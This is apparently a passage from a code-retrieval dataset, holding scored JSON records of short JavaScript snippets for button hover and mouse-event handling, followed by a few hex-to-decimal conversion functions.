{\n var btn1 = this.firstElementChild.nextElementSibling.firstElementChild;\n var btn2 = btn1.nextElementSibling;\n btn1.style.opacity = 0;\n btn2.style.opacity = 0;\n }", "title": "" }, { "docid": "8d7e599004bd13f3bc20797c335f8184", "score": "0.64752024", "text": "function hoverButton() {\n this.classList.remove(\"hover_no_more\");\n this.classList.add(\"hover\");\n}", "title": "" }, { "docid": "67c59c6c43ad3161f65bcf435bfd33e1", "score": "0.64494294", "text": "function handleButtonHover(event) {\n\n\n if (event.type == \"mouseover\") {\n // createjs.Tween.get(event.currentTarget).to({ scaleX: 2.0, scaleY: 1.2 }, 100)\n\n var theShadow = event.currentTarget.shadow;\n\n createjs.Tween.get(theShadow).to({ blur: 20 }, 100);\n }\n if (event.type == \"mouseout\") {\n // createjs.Tween.get(event.currentTarget).to({ scaleX: 2.1, scaleY: 1.2 }, 100);\n\n var theShadow = event.currentTarget.shadow;\n\n createjs.Tween.get(theShadow).to({ blur: 0 }, 100);\n }\n }", "title": "" }, { "docid": "d40210fcd5bb79a91d2a8a2332e91a85", "score": "0.6417673", "text": "hoverHandler() {\n // Only handle if menu button is not already active button\n if (this.range.openButton !== this) {\n this.range.openButtonAndCloseOthers(this);\n }\n }", "title": "" }, { "docid": "f9fc214806ddaee47d2350003e3e9c26", "score": "0.6412659", "text": "handleMouseOver() {\n // Isolate: draw button if needed\n if (!this._isolateButton && !Agent.isTouchDevice())\n this._isolateButton = this._createIsolateRestoreButton(this._shape);\n super.handleMouseOver();\n }", "title": "" }, { "docid": "d31de0b27892404e7b85805175a3a9e3", "score": "0.6408941", "text": "handleMouseOut() {\n this.IsHover = false;\n }", "title": "" }, { "docid": "5b10c1e395687840e5b4864b28c7bdbf", "score": "0.6402307", "text": "hoverListenersOn() {\n for (const button of this.buttonsAsArray.filter(x => x.type !== 'label')) {\n button.hoverListenerOn();\n }\n }", "title": "" }, { "docid": "95f8b93a67bb771bb092c9657b340dc7", "score": "0.6402227", "text": "hovered(){\n //if mouse is over butotn\n if (mouse.x > this.x1 && mouse.x < this.x2 && mouse.y > this.y1 && mouse.y < this.y2){\n //return that button is being hovered over\n return true;\n }\n }", "title": "" }, { "docid": "453f00c5c1d9adebe98782a74867a930", "score": "0.6385812", "text": "function checkHoverButt(buttonID,objectName,money,showSecond,minReq,times){\n $(buttonID).hover(function() {\n if (MoneyForThisRound >= money && objectName.totalBought >= minReq){ //check if money is enough to buy\n $(this).addClass('butt-hover');\n }\n }, \n function () {\n $(this).removeClass('butt-hover'); \n }\n );\n \n $(buttonID).click( function () {\n if (MoneyForThisRound >= money && objectName.totalBought >= minReq){\n objectName.addNewMPS(times);\n showSecond.text(objectName.baseMPS);\n $(buttonID).tooltip('hide')\n $(buttonID).remove();\n totalUpgrades += 1;\n upgradesForThisRound += 1;\n }\n });\n}", "title": "" }, { "docid": "08c13b0a263ab4bded5817af944972d8", "score": "0.6379136", "text": "onMouseOut_() {\n this.updateHoverStying_(false);\n }", "title": "" }, { "docid": "3046dc64460de2f35d337be72d92040d", "score": "0.6377331", "text": "_buttonPointerOver() {\n\t\tthis.background.setAlpha(1);\n\t\tthis.text.setColor(\"#FFFFFF\");\n\t}", "title": "" }, { "docid": "dadf5959c0b2ad54bf6259ed97ae80ef", "score": "0.6370297", "text": "function outOfButton(){//function that works for every button and is called when you hover away. Sets to previous status if you changed after a hover\r\n if(flagHoverOrCklick==0){// need to know if you clicked or just hovered. Take action only after hover\r\n svg.selectAll(\"circle\")\r\n .data(data)\r\n .attr(\"fill\", function(d){\r\n if (previousState==2) {return colorsForClusters[d.k2];}\r\n else if (previousState==3) {return colorsForClusters[d.k3];}\r\n else if (previousState==4) {return colorsForClusters[d.k4];}\r\n else if (previousState==5) {return colorsForClusters[d.k5];}\r\n else if (previousState==6) {return colorsForClusters[d.k6];}\r\n\r\n });\r\n if (previousState==2) {changeCentroids(\"circle2\",0);}\r\n else if (previousState==3) {changeCentroids(\"circle3\",1);}\r\n else if (previousState==4) {changeCentroids(\"circle4\",2);}\r\n else if (previousState==5) {changeCentroids(\"circle5\",3);}\r\n else if (previousState==6) {changeCentroids(\"circle6\",4);}\r\n \r\n }\r\n }", "title": "" }, { "docid": "1394a9a2c8ee06bad656b57b18460e46", "score": "0.63596797", "text": "function hoverLeave(e) {\n $(e.target).closest(\"div\").css(BACKGROUND_COLOR, \"transparent\");\n }", "title": "" }, { "docid": "aaf990535aa95221a2005b0af038ce94", "score": "0.6357249", "text": "_buttonPointerOut() {\n\t\tthis.background.setAlpha(0.5);\n\t\tthis.text.setColor(\"#000000\");\n\t}", "title": "" }, { "docid": "2fc237d61ea86393d5cb95679dbc2b63", "score": "0.63501847", "text": "function buttonOver(event) {\n event.currentTarget.alpha = 0.5;\n // buttonBitmap.alpha = 0.5;\n}", "title": "" }, { "docid": "4760c6590639af229453b3d033d9d895", "score": "0.6345528", "text": "function highLight() {\n document.getElementById(\"btn\").classList.add(\"highLighted\");\n document.getElementById(\"btn\").addEventListener(\"mouseleave\", backToNormal);\n}", "title": "" }, { "docid": "f49c6c6a7486bb1fce27e05f851c3bc2", "score": "0.63222903", "text": "onMouseLeave(e) {\n const btn = e.currentTarget;\n const background = btn.querySelector('div:first-child');\n const tl = new TimelineLite();\n\n tl.set(background, { left: \"-300%\" });\n btn.classList.remove('pulse-text');\n }", "title": "" }, { "docid": "a71185979b5e37ee2a13cbff90c7aa3f", "score": "0.63145167", "text": "function mousePressed() {\n\n CheckButtons(Buttons);\n CheckHover(Buttons);\n\n}", "title": "" }, { "docid": "f3b194915231171ab7b1ba94d8d7d140", "score": "0.6283953", "text": "hoverPlyr() {\n // Remove hover listener to avoid recall hover state.\n this.container.removeEventListener('mouseover', this.hoverPlyrHandler, false);\n this.startPlyr(true);\n }", "title": "" }, { "docid": "bf9cdcd770861a9a9796188942f49680", "score": "0.6267192", "text": "function highlightButtonsOnMouseover() {\n $(\".button\").on(\"mouseover\", function() {\n $(this).addClass(\"highlight\");\n });\n $(\".button\").on(\"mouseleave\", function() {\n $(this).removeClass(\"highlight\");\n });\n}", "title": "" }, { "docid": "ae3f9f43f72e90845dbdc9320697b455", "score": "0.6263748", "text": "function geoButtonMouseOutHandler(event) {\r\n\r\n unsafeWindow.ButtonHoverOff(this);\r\n\r\n}", "title": "" }, { "docid": "bdf6624a63f1c014ddc34fe1c2af8a97", "score": "0.6259615", "text": "hover() {}", "title": "" }, { "docid": "d3cf7eca7d9316e0714f30197d721468", "score": "0.6258462", "text": "function hoverButtonColorOn(e) {\n e.target.style.background = '#c4941c';\n}", "title": "" }, { "docid": "7aba5752df836e259cea510e3f3d9915", "score": "0.6257047", "text": "function resetHover() {\n if (placeh) {\n placeh.detach();\n ogrow.detach();\n }\n }", "title": "" }, { "docid": "1c33470a8481657ecd3cdae95558f7c3", "score": "0.6255206", "text": "function MakeHovers() {\n var liElements = $(\".serialization li\");\n liElements.each(function () {\n var buttons = $(this).children(\"button.transperent\");\n\n //using mouseenter&mouse lived due to lags on hover\n $(this).mouseenter(function () {\n buttons.each(function () {\n $(this).removeClass(\"hidden\");\n });\n\n var parentButtons = $(this).parent().parent().children(\"button.transperent\");\n parentButtons.each(function () {\n $(this).addClass(\"hidden\");\n });\n });\n\n $(this).mouseleave(function () {\n buttons.each(function () {\n $(this).addClass(\"hidden\");\n });\n\n var parentButtons = $(this).parent().parent().children(\"button.transperent\");\n parentButtons.each(function () {\n $(this).removeClass(\"hidden\");\n });\n });\n });\n}", "title": "" }, { "docid": "3ffe6467a18afc95492c305e8b217aab", "score": "0.6244482", "text": "function add_mouseout(ad)\n{\n ad.classList.remove('btn-add-active');\n ad.classList.add('btn-add-in-active');\n}", "title": "" }, { "docid": "8a410d307b4eaa3aba66c707cf63ce5e", "score": "0.623737", "text": "function blMouseOver(e){\n //on mouse over, add class which lighten color of arrows and slide them right\n e.children[0].classList.add('bl-hover');\n}", "title": "" }, { "docid": "155d60d92351a98fad179368f933c471", "score": "0.62297946", "text": "function mouseOverCard(){\n var delete_button = this.querySelector('button');\n transition(delete_button);\n delete_button.style.opacity = 1;\n}", "title": "" }, { "docid": "2a689a8abb6c26e72d4ccee85ea18b5f", "score": "0.62219346", "text": "enterButtonHoverState() {\n this.startButton = this.add.sprite(400, 350, 'button2');\n }", "title": "" }, { "docid": "c66d34ab415b43e71620bc7993479af5", "score": "0.6218547", "text": "function hovering() {\n\n}", "title": "" }, { "docid": "97bfde6d7858c0740fe619f9bfd8dfc4", "score": "0.62150306", "text": "_buttonMouseEnterHandler() {\n const that = this;\n\n that.setAttribute('hover', '');\n\n if ((that.disabled) || (that.readonly) || (that.clickMode !== 'hover')) {\n return;\n }\n\n that._changeCheckState('pointer');\n that.focus();\n that._updateHidenInputNameAndValue();\n }", "title": "" }, { "docid": "cfe6129fdad9197fb1e612bfd3f282f9", "score": "0.61989355", "text": "function hover() {\n $(\".button\").on(\"mouseenter\", function () {\n return $(this).addClass(\"hover\");\n });\n}", "title": "" }, { "docid": "4cc38f1172bbb85da8ee0df61ae028a8", "score": "0.6184954", "text": "function btnOver(event)\n\t{\n\t\tstopEventPropagation(event);\n\n\t\tvar btnId = getEventTarget(event);\n\t\tvar btnElm = document.getElementById(btnId);\n\n\t\t//passes (btn element, target RGB values) grey.\n\t\tfadeColor(btnElm, 191, 191, 180);\n\t}", "title": "" }, { "docid": "ac8314acb198d9e020030527d364ee32", "score": "0.6172318", "text": "function pinkButtonOver() {\n pinkButton.alpha = 0.8;\n}", "title": "" }, { "docid": "700a2300baaa073a75e2e12225b1160c", "score": "0.61601174", "text": "function hoverArrow() {\n goBackArrow.classList.remove(\"hover_no_more\");\n goBackArrow.classList.add(\"hover\");\n}", "title": "" }, { "docid": "2800f7640c320b4c2493403177519652", "score": "0.61559916", "text": "function hover1(){\n\tvar c = $(\".b__t2\"),\n\tc_x_l = c.offset().left,\n\tc_x_r = c.offset().left+c.innerWidth(),\n\te = $(\".b__t2-e-c\");\n\tfunction hover1_1(ths){\n\t\tvar e_x_l = ths.offset().left,\n\t\tcln = ths.clone();\n\t\tcln.addClass(\"cln1\");\n\t\tcln.appendTo(\"body\");\n\t\tvar cln_w = $(\".cln1\").innerWidth(),\n\t\te_x_r = ths.offset().left+cln_w;\n\t\t$(\".cln1\").remove();\n\t\te.removeClass(\"act\");\n\t\tths.addClass(\"act\");\n\t\tif(c_x_r<e_x_r){\n\t\t\tths.addClass(\"act2\");\n\t\t\tths.removeClass(\"act1\");\n\t\t}\n\t\telse{\n\t\t\tths.addClass(\"act1\");\n\t\t\tths.removeClass(\"act2\");\n\t\t}\n\t\t\n\t}\n\te.on(\"mouseenter\", function(){\n\t\thover1_1($(this));\n\t});\n\te.on(\"mouseleave\", function(){\n\t\thover1_1($(this));\n\t\te.removeClass(\"act\");\n\t});\n\te.on(\"click\", function(){\n\t\thover1_1($(this));\n\t});\n}", "title": "" }, { "docid": "e46e80c48b132b849e2bb3fcd4ff11cf", "score": "0.6145671", "text": "function add_mouseover(ad)\n{\n ad.classList.remove('btn-add-in-active');\n ad.classList.add('btn-add-active');\n}", "title": "" }, { "docid": "ecf06da99c71b873dc41e015f61b87e5", "score": "0.6139793", "text": "handleMouseOver() {\n this.IsHover = true;\n }", "title": "" }, { "docid": "d666d974c058c6c8d0872735b9cfe811", "score": "0.6130858", "text": "function buttonOut(event) {\n event.currentTarget.alpha = 1;\n //buttonBitmap.alpha = 1;\n}", "title": "" }, { "docid": "b3ce5dbd064f9024d2bfe5c7717fd052", "score": "0.61306906", "text": "mouseover() {\n this.hoverActive = true;\n }", "title": "" }, { "docid": "6583e56816ae30669a44ffadd7cbe67a", "score": "0.61282367", "text": "hoverStyle() {\n this.sizeChange = lerp(this.sizeChange, this.ENLARGER_RADIO, 0.4);\n push();\n drawingContext.shadowOffsetX = 0;\n drawingContext.shadowOffsetY = 4;\n drawingContext.shadowBlur = 10;\n drawingContext.shadowColor = SHADE_STICKER_SHADOW;\n ellipse(0, 0, AWARD_SIZE * this.sizeChange);\n pop();\n image(this.image, 0, 0, AWARD_ICON_SIZE * this.sizeChange, AWARD_ICON_SIZE * this.sizeChange);\n }", "title": "" }, { "docid": "e60b54e6228b265aa409437332cc0ae4", "score": "0.6107288", "text": "function hover() {\n\n let header = document.querySelector(\".nav-buttons\");\n let btns = header.getElementsByClassName(\"nav-item-options\");\n for (let i = 0; i < btns.length; i++) {\n btns[i].addEventListener(\"click\", function() {\n let current = document.getElementsByClassName(\"active\");\n current[0].className = current[0].className.replace(\" active\", \"\");\n this.className += \" active\";\n });\n }\n}", "title": "" }, { "docid": "794a25407de5d5e745eafb11767ce3f8", "score": "0.6085991", "text": "function hoverEnter(e) {\n var $div = $(e.target).closest(\"div\");\n $div.css(BACKGROUND_COLOR, $div.data(BUTTON_NAME) ? \"#FFF\" : \"#FFC\");\n }", "title": "" }, { "docid": "e6b045e1622e248cc67ffe65e9e77532", "score": "0.60705096", "text": "function _onButtonPointerDown(e) {\n //при нажатии на кнопку увеличиваем уровень на шкале\n scaleLevel += pushTemp;\n //обновляем шкалу уровня прохождения\n updateScale();\n //отключаем уменьшение уровня\n clearInterval(scaleLevelReducing);\n //отражаем кнопку по горизонтали\n if(button.classList.contains('door-riddle-2__button_reflect')) {\n button.classList.remove('door-riddle-2__button_reflect')\n }\n else {\n button.classList.add('door-riddle-2__button_reflect')\n }\n \n }", "title": "" }, { "docid": "bb0e29e05843ddabf7f25c83ed018067", "score": "0.60679626", "text": "function mouseReleased(){\n //unstretch foreo\n on();\n }", "title": "" }, { "docid": "6ca244719d9b1060059f784211659daa", "score": "0.6040735", "text": "function assignHoverEvents(){\n\t\tvar btns = document.getElementsByClassName('menuBtnNormal');\n\t\tfor (i = 0; i < btns.length; i++){\n\t\t\t/*\n\t\t\t * mouseover\n\t\t\t */\n\t\t\tEvent.observe(btns[i], 'mouseover', function(event) {\n\t\t\t\tvar elem = Event.element(event);\n\t\t\t\tif (elem.id != MenuDialog.activeMenuId){\n\t\t\t\t\telem.className = 'menuBtnOver';\t\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t/*\n\t\t\t * mouseout\n\t\t\t */\n\t\t\tEvent.observe(btns[i], 'mouseout', function(event) {\n\t\t\t\tvar elem = Event.element(event);\n\t\t\t\tif (elem.id != MenuDialog.activeMenuId){\n\t\t\t\t\telem.className = 'menuBtnNormal';\n\t\t\t\t}\n\t\t\t});\n\t\t\t\n\t\t\t/*\n\t\t\t * mousedown\n\t\t\t */\n\t\t\tEvent.observe(btns[i], 'mousedown', function(event) {\n\t\t\t\tvar elem = Event.element(event);\n\t\t\t\tif (elem.id != MenuDialog.activeMenuId){\n\t\t\t\t\tvar btns = document.getElementsByClassName('menuBtnPressed');\n\t\t\t\t\tif (btns.length > 0){btns[0].className = 'menuBtnNormal';}\n\t\t\t\t\tMenuDialog.activeMenuId = elem.id;\n\t\t\t\t\telem.className = 'menuBtnPressed';\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "fc15de1b80a4f9a616eef56ce0abf0e8", "score": "0.603465", "text": "function overButton(e) {\n\te.tint = 0xc0c0c0\n}", "title": "" }, { "docid": "188060d759bd1ad48877cf401ea3da52", "score": "0.60307276", "text": "function resetButtons() {\n $(\".letter\").css({\"pointer-events\": \"auto\", \"background-color\": \"#666600\"});\n /*\n $(\".letter\").removeClass(\"used\");\n $(\".letter\").removeClass(\"success fail\", 500);\n */\n $(\"#btn1\").removeClass(\"highlight\", 500);\n }", "title": "" }, { "docid": "93803d972fe9d4a56ac84c4db87904ef", "score": "0.6029432", "text": "function mouseOver() {\n setMouseOver(true);\n }", "title": "" }, { "docid": "69250bbb5973e87a40539331ff9f9f1f", "score": "0.6027172", "text": "function hoverOutCanvas() {\n onMouseUp();\n canvas.unmousedown(onMouseDown);\n }", "title": "" }, { "docid": "36bb4a7e31053adbaa7ea06811befac1", "score": "0.60105234", "text": "function buttonOver(e) {\n console.log(\"inside buttonOver()\");\n e.target.className = \"active\";\n}", "title": "" }, { "docid": "5d0e5875d3c9801857b0b35692e04912", "score": "0.6002767", "text": "_onPointerOut() {\n this.removeState(\"hovered\");\n }", "title": "" }, { "docid": "6610eeb7261b52b063a3d5b453337b25", "score": "0.5996096", "text": "hover(e) {\n this.setState({\n isToggle: !this.state.isToggle\n });\n }", "title": "" }, { "docid": "eba6f05f8bf46ea82e64c1f5aa55d73f", "score": "0.5988474", "text": "function highlightLeaveButton() {\n $('.game button[name=\"leave_game\"]').effect('highlight', {}, 1000);\n window.setTimeout(highlightLeaveButton, 3000);\n }", "title": "" }, { "docid": "178d8b3bc5de4031499110aab735e9c8", "score": "0.5980194", "text": "handleHoverChanged() {\n if(!hover) {\n hover = true;\n } else {\n hover = false;\n }\n }", "title": "" }, { "docid": "61af77a7424eebfe58bb1993af7f7362", "score": "0.59723526", "text": "enterButtonHoverState2() {\n this.optionsButton = this.add.sprite(400, 430, 'options2').setScale(0.1,0.1);\n }", "title": "" }, { "docid": "3dd35800ab1cd03888b334150a04205a", "score": "0.5969606", "text": "leaveHover(i) {\n document.getElementById(\"renameBtn-\" + this.props.category + i).className=\"hidden renameBtn\";\n }", "title": "" }, { "docid": "8ca63eca828118742a27bac13ea05b77", "score": "0.5952732", "text": "onMouseEnter() {\n this.setState({ btnState: 'hover' });\n }", "title": "" }, { "docid": "035f81a1717be29e33857ff50a27fd56", "score": "0.5951014", "text": "function handleMouseLeave() {\n setHoverRestaurant(undefined);\n }", "title": "" }, { "docid": "6dffb5ab3872d99757bb06dc2c485646", "score": "0.5944757", "text": "_buttonsMouseEventsHandler(event) {\n const that = this;\n\n if (that.disabled || that.readonly) {\n return;\n }\n\n if (event.type === 'mouseenter') {\n event.target.setAttribute('hover', '');\n that.setAttribute('hover', '');\n\n if (that.dropDownOpenMode === 'auto' && !(JQX.TextBox && that instanceof JQX.TextBox)) {\n if (event.target === that.$.dropDownButton) {\n that.open();\n that.$.input.focus();\n }\n else {\n that.close();\n }\n }\n }\n else {\n event.target.removeAttribute('hover');\n that.removeAttribute('hover');\n }\n }", "title": "" }, { "docid": "255d5fe1aca06865450797125b0979a2", "score": "0.594201", "text": "function geoButtonMouseOverHandler(event) {\r\n\r\n unsafeWindow.ButtonHoverOn(this);\r\n\r\n}", "title": "" }, { "docid": "74977d539df01c08c3e2a653ddccdfea", "score": "0.5925886", "text": "function mouseOutOfRegion(e) {\n // reset the hover state, returning the border to normal\n e.feature.setProperty(\"state\", \"normal\");\n}", "title": "" }, { "docid": "c222c496d1f6e05c24f564dfecf7ee40", "score": "0.59150374", "text": "function checkButtons()\r\n{\r\n\tfor (var i = 0; i < activeBtns.length; i++)\r\n\t{\r\n\t\tactiveBtns[i].over = false;\r\n\t\tif(!(mouse.x < activeBtns[i].x ||\r\n\t\t\t mouse.x > activeBtns[i].x+activeBtns[i].w ||\r\n\t\t\t mouse.y < activeBtns[i].y ||\r\n\t\t\t mouse.y > activeBtns[i].y+activeBtns[i].h))\r\n\t\t{\r\n\t\t\tactiveBtns[i].over = true; // If our mouse is inside the button box, flip the over flag to true.\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "3fd0acd95986e6cd53dadbb9ba7e0404", "score": "0.5910052", "text": "function buttonHoverOut() {\n document.getElementById(\"formSubmit\").innerHTML = \"Ready?\";\n document.getElementById(\"formSubmit\").style.backgroundColor = \"\";\n}", "title": "" }, { "docid": "b43212a2428c8a595443ba324b41f49c", "score": "0.59053504", "text": "mouseOut() {\n this.setState({ hover: false });\n }", "title": "" }, { "docid": "6e81143ab8b45e8b8d161f4a200c2f7f", "score": "0.5899701", "text": "function onEnter() {\n var btn1 = this.firstElementChild.nextElementSibling.firstElementChild;\n var btn2 = btn1.nextElementSibling;\n btn1.style.opacity = 1;\n btn2.style.opacity = 1;\n }", "title": "" }, { "docid": "c27f604f75a2c520d003ec8ecf933ec1", "score": "0.58872783", "text": "function mouseOverReset() {\n if (timer_draw) timer_draw.stop();\n mouse_hover_active = false;\n hover_type = null;\n current_hover = null;\n\n //Animate the opacities coming back\n fadeCanvasBackIn();\n } //function mouseOverReset", "title": "" }, { "docid": "31154294a638996cc08c7d8b066cfe32", "score": "0.5871808", "text": "function mouseOverReset() {\n if (timer_draw) timer_draw.stop();\n mouse_hover_active = false;\n hover_type = null;\n current_hover = null; //Animate the opacities coming back\n\n fadeCanvasBackIn();\n } //function mouseOverReset", "title": "" }, { "docid": "31154294a638996cc08c7d8b066cfe32", "score": "0.5871808", "text": "function mouseOverReset() {\n if (timer_draw) timer_draw.stop();\n mouse_hover_active = false;\n hover_type = null;\n current_hover = null; //Animate the opacities coming back\n\n fadeCanvasBackIn();\n } //function mouseOverReset", "title": "" }, { "docid": "2cd1e9c197421f0ca415c8158381c3c4", "score": "0.58690184", "text": "function ToolBarButton_MouseLeave(event)\n{\n\t//get source element\n\tvar sourceElement = Browser_GetEventSourceElement(event);\n\t//ensure we have the right one\n\twhile (sourceElement && !sourceElement.InterpreterObject)\n\t{\n\t\t//iterate\n\t\tsourceElement = sourceElement.parentNode;\n\t}\n\t//valid?\n\tif (sourceElement)\n\t{\n\t\t//set flat border\n\t\tsourceElement.style.border = sourceElement.InterpreterObject.HTML.TB_BORDER_FLAT;\n\t}\n}", "title": "" }, { "docid": "e8eacf3cb88f522a815b636c206fe75e", "score": "0.5867685", "text": "function handleMouseRelease() {\n if (\n !button.isHovered() &&\n !directionsButton.isHovered() &&\n !backButton.isHovered() &&\n !startButton.isHovered()\n ) {\n mouseIsReleased = false;\n }\n}", "title": "" }, { "docid": "0e459627e42d55e308ce152517346778", "score": "0.58624154", "text": "_discardKeyboardHover() {\n const that = this;\n\n if (!that._focusedViaKeyboard) {\n return;\n }\n\n if (that._focusedViaKeyboard === that.$.backButton) {\n that.$.backButton.removeAttribute('hover');\n that.$.backButton.$.button.removeAttribute('hover');\n }\n else {\n that._focusedViaKeyboard.removeAttribute('focus');\n that._focusedViaKeyboard.removeAttribute('hover');\n }\n\n that._focusedViaKeyboard = undefined;\n }", "title": "" }, { "docid": "169bf1a52668b1dd7aa2ca6bfc45b8e2", "score": "0.58574295", "text": "function socialShareButtonHoveredOut()\n\t{\n\t\tSTTAFFUNC.hideHoverMap(this);\n\t}", "title": "" }, { "docid": "1b2a047a492160714c208d56002c06e8", "score": "0.5852611", "text": "function handleMouseOverDist(e) {\n\t\t\t\te.currentTarget.addClassName('active');\n\t\t\t\tvar parent = $(e.currentTarget).parent().get(0);\n\n\t\t\t\ttheInterface.emit('ui:emphElement', {\n\t\t\t\t\tid : e.currentTarget.getAttribute('id'),\n\t\t\t\t\tlayer : parent.getAttribute('data-layer')\n\t\t\t\t});\n\n\t\t\t}", "title": "" }, { "docid": "9db3ed5b39d7dbdd09b501ae6e921a9c", "score": "0.58477604", "text": "function trainLights(){\n $('#train_lights_button').hover(showTrainLights, hideTrainLights);\n}", "title": "" }, { "docid": "948d4ccf27efa9559e44ace3a8a9d418", "score": "0.5839327", "text": "function backIconHover() {\n\t\tbackIcon.hover(function() {\n\n\t\t\t$(this).css({\n\t\t\t\t'background-color' \t: royalHex2Rgba( back_btn_hcol, back_btn_hcol_tr ),\n\t\t\t\t'color' \t\t\t: back_btn_txt_hcol\n\t\t\t});\n\n\t\t}, function() {\n\n\t\t\t$(this).css({\n\t\t\t\t'background-color' \t: royalHex2Rgba( back_btn_col, back_btn_col_tr ),\n\t\t\t\t'color' \t\t\t: back_btn_txt_col\n\t\t\t});\n\n\t\t});\n\t}", "title": "" }, { "docid": "d74245bc9b4463004197a26fe7ef5d55", "score": "0.5830858", "text": "function updateMenu(hover) {\n\tpush();\n\t\ttranslate(screen.w/2,screen.h/2-2*cellwidth-cellwidth/2);\n\t\tfill(TEXTCOLOR);\n\t\ttextAlign(CENTER,BOTTOM);\n\t\ttextSize(cellwidth*2);\n\t\tif(font.font) {\n\t\t\ttextFont(font)\n\t\t} else {\n\t\t\ttextFont(\"alien encounters\");\n\t\t}\n\t\tstroke(0);\n\t\tstrokeWeight(15);\n\t\ttext(\"BLITZINGO\",0,0);\n\tpop();\n\tpush();\n\t\ttranslate(screen.w/2,screen.h/2);\n\t\ttextAlign(CENTER,CENTER);\n\t\ttextSize(cellwidth/2);\n\t\tstroke(0);\n\t\tpush();\n\t\t\tfill(BUTTONCOLOR);\n\t\t\tif(hover != undefined && hover == 0) {\n\t\t\t\tfill(200);\n\t\t\t}\n\t\t\tstrokeWeight(3);\n\t\t\ttranslate(0,-cellwidth*3/2-cellwidth/4-cellwidth/8);\n\t\t\trect(-3*cellwidth,-cellwidth/2,6*cellwidth,cellwidth,10,10);\n\t\t\tnoStroke();\n\t\t\tfill(BUTTONTEXTCOLOR);\n\t\t\ttext(\"EASY\",0,0);\n\t\tpop();\n\t\tpush();\n\t\t\tfill(BUTTONCOLOR);\n\t\t\tif(hover != undefined && hover == 1) {\n\t\t\t\tfill(200);\n\t\t\t}\n\t\t\tstrokeWeight(3);\n\t\t\ttranslate(0,-cellwidth/2-cellwidth/8);\n\t\t\trect(-3*cellwidth,-cellwidth/2,6*cellwidth,cellwidth,10,10);\n\t\t\tnoStroke();\n\t\t\tfill(BUTTONTEXTCOLOR);\n\t\t\ttext(\"MEDIUM\",0,0);\n\t\tpop();\n\t\tpush();\n\t\t\tfill(BUTTONCOLOR);\n\t\t\tif(hover != undefined && hover == 2) {\n\t\t\t\tfill(200);\n\t\t\t}\n\t\t\tstrokeWeight(3);\n\t\t\ttranslate(0,cellwidth/2+cellwidth/8);\n\t\t\trect(-3*cellwidth,-cellwidth/2,6*cellwidth,cellwidth,10,10);\n\t\t\tnoStroke();\n\t\t\tfill(BUTTONTEXTCOLOR);\n\t\t\ttext(\"INSANE\",0,0);\n\t\tpop();\n\t\tpush();\n\t\t\tfill(BUTTONCOLOR);\n\t\t\tif(hover != undefined && hover == 3) {\n\t\t\t\tfill(200);\n\t\t\t}\n\t\t\tstrokeWeight(3);\n\t\t\ttranslate(0,cellwidth*3/2+cellwidth/4+cellwidth/8);\n\t\t\trect(-3*cellwidth,-cellwidth/2,6*cellwidth,cellwidth,10,10);\n\t\t\tnoStroke();\n\t\t\tfill(BUTTONTEXTCOLOR);\n\t\t\ttext(\"OPTIONS\",0,0);\n\t\tpop();\n\n\tpop();\n}", "title": "" }, { "docid": "b04a2ac426a585d70fc925c86319e13c", "score": "0.58277714", "text": "tapEventOff(e) {\n let root = this;\n if (typeof root.hoverClass !== typeof undefined && !root.disabled) {\n // break class into array\n var classes = root.hoverClass.split(\" \");\n // run through each and add or remove classes\n classes.forEach(function(item, index) {\n if (item != \"\") {\n root.$.button.classList.remove(item);\n if (item.indexOf(\"-\") != -1) {\n root.$.icon.classList.remove(item);\n }\n }\n });\n }\n }", "title": "" }, { "docid": "570ea274b483a64e9e51d5074a27f995", "score": "0.582211", "text": "onBrushDeleteButtonOver() {\n this.mouseOverDeleteButton = true;\n }", "title": "" }, { "docid": "0817fe802d946553c6a4a8fc05d6d20e", "score": "0.5816832", "text": "function pressrestartcolor(evt){\n var mousePos = getMousePos(canvas, evt);\n if((mousePos.x>=canvas.width/3) && (mousePos.x<=(canvas.width/3)*2)&&(mousePos.y>=canvas.width/1.8)&&(mousePos.y<=(canvas.width/1.8+canvas.height/10))){\n exit_button_press_color=1;\n }\n else exit_button_press_color=0;\n }", "title": "" }, { "docid": "c09f72259d9da7fbb6c1273094ff2f66", "score": "0.58155906", "text": "function hovering() {\n $(this).toggleClass('hover');\n}", "title": "" }, { "docid": "df363759fb86173106a4e5ce57676f57", "score": "0.58048207", "text": "function handleHoverEnter(){\n $(\".likeBtn\").html(likes + \" Likes\");\n }", "title": "" }, { "docid": "057c0b1cb26ec3d558b7b96efce691a8", "score": "0.579918", "text": "function mouseOutCard(){\n var delete_button = this.querySelector('button');\n delete_button.style.opacity = 0;\n}", "title": "" } ]
7e72ee04b0a5c2d9eecadd411ae95bfa
Converts a hex value to a decimal
[ { "docid": "f93b771f393e931e79e8fef9bdfd138a", "score": "0.70834553", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n }", "title": "" } ]
[ { "docid": "770bd2c62d92fd33cd12af4d61d8e90c", "score": "0.8030669", "text": "function hexToDecimal(hex) {\n return parseInt(hex.replace(\"#\", \"\"), 16)\n}", "title": "" }, { "docid": "ba22756a1ed492f95b9890be638b263f", "score": "0.77547026", "text": "function dec (hex) {return parseInt(hex, 16);}", "title": "" }, { "docid": "246afae8709084d0652462caaa6b2d89", "score": "0.7737671", "text": "function convertHexToDecimal(h){return parseIntFromHex(h)/255;}", "title": "" }, { "docid": "f536e8f1954785514fbb36016d272b29", "score": "0.74580884", "text": "function hexToDec(hexString) {\r\n return parseInt(hexString, 16);\r\n}", "title": "" }, { "docid": "77db36695d59ea5765b2f7780e31b15f", "score": "0.7448585", "text": "function dec(hex) {\r\n\t return parseInt(hex, 16);\r\n\t }", "title": "" }, { "docid": "9acf3975f4ce99bdbe5c714a9268b8f0", "score": "0.74350196", "text": "function dec(hex) {\r\n return parseInt(hex, 16);\r\n }", "title": "" }, { "docid": "6163abcf1d3dda2b9d2c545337f5d4b8", "score": "0.73822236", "text": "function dec(hex) {\n return parseInt(hex, 16);\n }", "title": "" }, { "docid": "6163abcf1d3dda2b9d2c545337f5d4b8", "score": "0.73822236", "text": "function dec(hex) {\n return parseInt(hex, 16);\n }", "title": "" }, { "docid": "6163abcf1d3dda2b9d2c545337f5d4b8", "score": "0.73822236", "text": "function dec(hex) {\n return parseInt(hex, 16);\n }", "title": "" }, { "docid": "0d82d0a2ea93d0fd90c6c69554684d4a", "score": "0.7360323", "text": "function convertHexToDecimal (h) {\r\n\t return parseIntFromHex(h) / 255\r\n\t }", "title": "" }, { 